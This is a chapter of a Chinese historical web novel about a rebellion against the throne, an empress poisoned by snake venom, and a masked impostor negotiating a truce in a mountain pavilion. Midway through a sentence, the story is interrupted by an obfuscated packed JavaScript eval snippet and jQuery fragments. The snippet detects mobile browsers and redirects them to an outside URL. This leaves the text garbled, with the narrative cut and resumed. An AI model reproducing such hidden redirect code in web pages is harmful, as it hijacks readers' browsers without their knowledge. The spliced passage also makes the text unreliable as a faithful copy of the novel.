84. 第十五章 西塞山上

作品:《将军是我未亡人

    萧含光入太极殿之时,群臣早已按品级列次在殿中站定。


    内侍吊着嗓子一声高喊:“皇上驾到——”


    文武百官齐刷刷跪伏于地,三呼万岁,行叩拜大礼。玄色朝服铺展如浪,在地面上漾开层层叠叠的波纹。


    萧含光步履沉稳,在御座之上落座,微微抬手:“诸位爱卿平身。”


    声音不惊不惧,仿佛这只是一次最平常不过的早朝,而非齐氏举兵叛乱、京师震动、朝野汹汹之际的紧急朝会,大臣们惶乱的心也不由得镇定下来。


    “诸卿可有要事启奏?”萧含光的声音清亮,回荡在大殿中。


    短暂的沉默后,魏膺之率先出列,奏道:“启禀陛下,逆贼齐氏,拥兵自重,久有不臣之心。数日前齐栋举旗叛乱,伪称‘清君侧’,其大军自毗陵出发,如今已抵京口重镇,只怕一两日之内便要兵临金陵城下。”


    他双手奉上军报,由内侍转呈御前,躬身道:“当此危急之时,臣请陛下即刻下诏,命大将军宋海晏、荆州都督何长龄率军勤王,拱卫京畿。”


    魏膺之话音刚落,朝班中便有不少人陆续出列,纷纷附议。言官们大骂齐氏欺天罔地,实乃祸国逆贼。世家清流则怒斥齐氏背弃清誉,动摇国本,朝堂之上群情汹汹,如汤鼎沸。


    盖因此前齐氏在朝中的党羽皆被下狱,就算有少数漏网之鱼也不敢在此刻张目,朝堂上几乎成为魏氏的一言堂。


    萧含光的视线落在魏膺之头顶的进贤冠上。


    若说如今谁最不希望齐氏成事,当属魏膺之无疑了。他与司徒齐鸿彼此明争暗斗多年,一旦齐氏代政,第一个就要拿魏氏开刀。反而言之,若能扳倒齐氏,常年被压制的魏家便可更上一层。世家倾轧,比两国相争犹有过之。


    虽说宋海晏离去之前,已承诺会尽快率军北上,并不需要另行下诏,然勤王诏书才是此刻安定朝局人心的重要手段。


    “魏卿所奏,甚合朕意。”皇帝的目光移到齐韶身上,道:“中书侍郎即刻拟诏,着何长龄领荆襄水军顺江而下,拱卫京畿,着宋海晏率庐江大军自会稽北上,克定祸乱。”


    齐韶躬身领命:“臣遵旨。”


    圣旨既下,立刻就有黄门郎飞马出宫传旨,这几日惶惶不可终日的文武大臣们,暂且将悬到嗓子眼的心放回肚子里。


    虽说京畿之地都是齐氏的势力范围,太皇太后和皇后都出自齐氏一门,但只要皇帝还在宫中,只要宋海晏与何长龄的勤王大军能按时抵达,他们这些往日与齐氏不甚对付的世家,便还有苟存的余地,不至于成为棋盘翻覆之下的死子。


    ……


    等到散朝,天色已交戌时。


    萧含光步出太极殿时,夏从德守候在殿外,见皇帝出来,连忙行礼道:“陛下,太皇太后请陛下往永寿宫觐见。”


    萧含光颔首道:“朕现在就去。”


    才迈两步,她忽觉脚下虚浮,仿佛踩在棉絮上。她抬手抚额,掌心竟触到一片滚烫,像是捂了团炭火。今日奔波忙碌了整整一日,盘桓不去的蛇毒竟在此刻骤然发作,眼前阵阵发黑,她咬着牙想加快脚步往御辇去,一股剧烈的眩晕猛地袭来,身体不由自主地向后倒去。


    一只手在后面扶住了她,齐韶清雅的声音在耳畔响起:“夏常侍,请回禀太皇太后,陛下伤势未愈,今日不能觐见。微臣先送陛下回正光殿,晚些时候会入永寿宫向太皇太后详禀今日之事。”


    夏从德见皇帝身形摇晃,脸色惨白如纸,也吓了一跳,忙不迭应道:“是,小人这就去回话。”说罢转过身,步履匆匆地去了。


    齐韶低头看向怀中站立不稳的人,轻声问:“陛下,还能走吗?”


    萧含光想要说话,身体却已全然不听使唤。


    齐韶俯身,一手托住她后背,另一手穿过她膝弯,将人稳稳横抱而起,低声道:“陛下,恕臣僭越之罪。”他脚步沉稳,几步跨过御阶,将她抱到御辇之上,对领头的内监道:“送陛下回正光殿。”


    到了正光殿,齐韶先行入殿,命冯大用往净宁庵去请静仪师太,又唤来楚秋筠,低声耳语几句。


    楚秋筠闻言,脸色微变,朝白令瑶使了个眼色,两位宫廷女官一起上前,将无法动弹的皇帝扶入寝殿之中。


    一盏茶之后,静仪师太匆匆赶来。


    她敛衽坐在床头,手指搭在萧含光腕间诊脉片刻,眉头微蹙,随即从随身药囊里取出一把金针,凝神屏息,精准刺入她周身数处要穴。


    金针入体的刹那,萧含光身体微微一颤,额角渗出细密的冷汗。片刻后,她缓缓睁开眼,声音虚弱:“师太……”


    静仪师太见她苏醒,合十道:“陛下所中蛇毒,贫尼行医数十载未曾得见。观脉象,此毒已在体内盘踞多日,不知先前用了何种药方压制?还请陛下明示,贫尼也好参详施治。”


    萧含光轻轻摇头,气息微弱:“并无药方。”


    静仪师太眉头紧锁:“这不可能。这等烈性之毒,若无对症之药,早已侵入心脉,断无生理。”


    萧含光声音轻得几乎听不见:“宋海晏从前曾中此毒,侥幸存活。这次朕在林中遇刺,是他救了朕,又以自身鲜血为朕解毒……”


    听得“宋海晏”三字,静仪师太神情恍惚了片刻,似乎忆起药师庵旧事。良久,才低叹一声:“原来如此。”她沉吟片刻,“既如此,贫尼先依症配药,再根据药效慢慢调整方子,辅以针灸去毒。只是此毒霸道异常,若要彻底清解,需得半月工夫。”


    萧含光早有所料,颔首道:“一切全凭师太安排。”


    ***


    齐椽带领十名心腹扈从,自金陵出发,经历两日驰骋,终于在十二月十一日下午到达了宜兴郊外的齐氏据点。


    齐沐春早已等候多时,上前禀道:“二公子,宋海晏料到公子今日到达。他约二公子今晚在西塞山桃花亭中一叙。他说为表心诚,他一人上山,二公子若是害怕,可以多带扈从……”


    齐椽冷笑道:“宋家大军如今占据吴兴,他当然有恃无恐。”他望向自己带来的扈从,道:“你们随我一起上山。”扈从们按剑而立,齐声应道:“是。”


    齐椽又看向齐沐春:“吴兴之事素来是由三堂叔负责,今日便劳您陪我走一趟。”齐沐春哪敢推拒,忙不迭应了声“是”,转身牵过自己的马,在前头引路。


    进山之后,远远见山腰有一座小亭,亭中隐约有人。齐椽一挥手,扈从们各自散入林中,或扼守住山道要隘,或在山石后方潜伏。齐沐春心中惴惴,领着齐椽踏上通往桃花亭的台阶。


    天色渐晚,一轮半圆凸月浮现在山巅,山风飒然,拂动衣袂,齐椽一步一步拾级而上,心中推演着宋海晏可能的言辞和自己的应对之策。他心中隐隐有一种预感,虽然金陵大战将起,但真正的胜负手并不在金陵,而是在于此刻他与宋海晏的会谈。


    不多时,桃花亭便近在眼前。亭子不大,八角飞檐,亭中石桌旁,一个身影背对着山道,巍然而立,一身玄铁鳞甲,在月下泛着冷光。虽只一人,别无侍从,却自有一股渊渟岳峙、睥睨天下的气度。


    “宋大将军。”齐椽在亭外站定,声音穿透山风,打破了林中沉寂。


    亭中身影缓缓转过身来,齐椽这才看清他脸上戴着一张青铜面具。面具上兽面狰狞,眼孔深邃,目光如实质般落在齐椽脸上,冷声道:“齐二公子,果然守时。”


    他的目光带着审视和压迫,如一头猛虎,正欲择人而噬,即使是城府深沉的齐二公子,也不愿意与这样一双眼睛长久对视,他很快避开“宋海晏”的眼神,道:“大将军虎踞宜兴,邀齐椽至此,不知意欲何为?”


    面具之下,萧旷心中暗自松了一口气。


    为了今日的会面,宋碧棠将他关在郡守府的密室之中,密训了整整两日。不仅会面的说辞都准备了厚厚一沓,就连站立的姿势、看人的眼神都反复演练多遍,直到宋碧棠满意,才放他过关。


    宋碧棠道:“齐椽多谋,多谋之人必定多疑,你戴着面具,他心中必然生疑。想要让他不怀疑你的身份,唯有让他先入为主,第一眼就相信你就是宋海晏,他便会忽略面具的事。”


    “那如何让他在第一眼就相信我是宋将军?”


    “这并不难,齐椽从没有和兄长单独见面。他对兄长的印象来自他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832668|180124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人转述和自己心中想象,你不需要像我的兄长,而是要符合齐椽希望看到的‘宋海晏’的形象。现在,齐椽希望看到的可不是一个忠于大楚朝廷的大将军,而是一个和他一样、甚至犹有过之的野心家。因此,在照会之时,你要在气势上压倒他,最重要的是眼神,要鹰视狼顾,有顾盼天下之雄,让他感到如芒刺背,感觉自己被压过一头。如齐椽这样的人,最相信自己的直觉。一旦你骗过了他的直觉,纵有其他破绽,他也不会再生疑窦……”


    如今,第一回合的交锋已过,齐椽果然没有提面具的事,也没有对他的身份质疑。看来,这一关,他算是过了。


    “前信齐二公子想必已经收到,本将军之意,信中已剖得清楚明白,但看齐二公子如何决断。”


    “宋海晏”发出一声短促的、意味不明的冷笑,“容我提醒齐二公子,如今北扬州已在我宋家掌控之中,此议齐二公子同意或者不同意,本也没有什么差别……只是前日本将军率军北上,乌承允和澹台恭率军拦路,我认为此事还是与二公子议一议才好,免得双方误判局势,有了摩擦,二公子以为,是与不是?”


    齐椽心中一凛,“宋海晏”语调沉稳,自有一种掌控局面的从容。他隐隐生出一种居于下风的感觉,不甘示弱,提气道:“宋家世居庐江,我齐家位于江左,本来井水不犯河水。如今宋将军先命部将攻占扬州,又亲率数万精兵,如利剑悬于我齐家后背。此等情势下谈‘两不相干’,请恕齐椽不敢相信宋将军的诚意。”


    “二公子多虑了。我若有心与齐氏不对付,早该率军北上,衔尾追击齐栋大军,又怎么按兵不动,在吴兴等待二公子两天两夜呢?”面具后的目光愈发幽深:“齐家八万大军围困金陵,城内禁军不过两万五千,破城只在旬日之间。我宋家此刻横插一脚,除了徒增伤亡,损兵折将,又能得到什么?江北四州,已入我囊中,与其劳师远征,替他人效死,不如作壁上观,稳固自身。此乃其一。”


    他顿了顿,声音惊起山中宿鸟:“其二,我宋海晏素有北伐之志。江南虽好,又怎及长安、洛阳两京繁华。在金陵城搅弄风云,又怎及北望中原、饮马黄河来得畅快?”


    齐椽心中波澜起伏。“宋海晏”这番话,句句戳中他先前的推想,也完美契合宋氏在此乱世中的最优选择,他几乎要被完全说服。


    “条件呢?”齐椽压下翻涌的思绪,问道,“大将军不会平白送我齐家如此大礼吧?”


    “条件有三。”“宋海晏”竖起三根手指,“第一,北扬州从此归我宋家所有。第二,我大军要自吴兴到江阴渡江北归,过境期间,你齐氏需约束地方,不得煽动民怨,制造事端。若因你方之故,使我军行程受阻或遭受损失,此约作废,后果自负。”


    “第三,”他身体微微前倾,青铜面具在黯淡的天色中更显森然可怖,“待我大军安然返回江北,你我双方签订盟约,以长江为界,永为兄弟之邦,互不侵犯。齐家登临大位之日,我宋家必遣使奉上贺表。”


    亭内一片寂静。山风穿过亭柱,发出呜呜的声响。


    齐椽脑中飞速权衡利弊。放宋家大军安然离开江南腹地,固然有纵虎归山的风险,但正如对方所说,此刻宋家强行介入金陵战局,对齐家更为不利。北扬州已经失守,不如以此换取宋家中立,从长远来看,更加符合齐氏利益。


    “好,我应你——”齐椽深吸了一口凛冽的空气,沉声道:“自此刻起,自吴兴至江阴一线,凡我齐氏领地,宋家大军可畅行无阻,沿途郡县绝无滋扰!待大将军安返庐江,我齐家自当遣使北上,正式定下盟约!”


    他伸出右手:“你我击掌为誓!”


    “宋海晏”面具后的目光似乎颤动一下,随即也伸出右掌。双掌交击,发出一声脆响。


    齐椽一路奔驰,早已疲乏,此刻盟约既成,也不再耽搁,率领人马下山。


    萧旷立于亭中,察觉后背都已湿透。值此寒冬腊月,他竟已出了一身汗。


    此行如愿完成宋碧棠交托的任务,想来他在伊人心中又添了不少看重。萧旷心里美滋滋的,从一旁的老树上解下马缰,翻身上马,往吴兴城而去。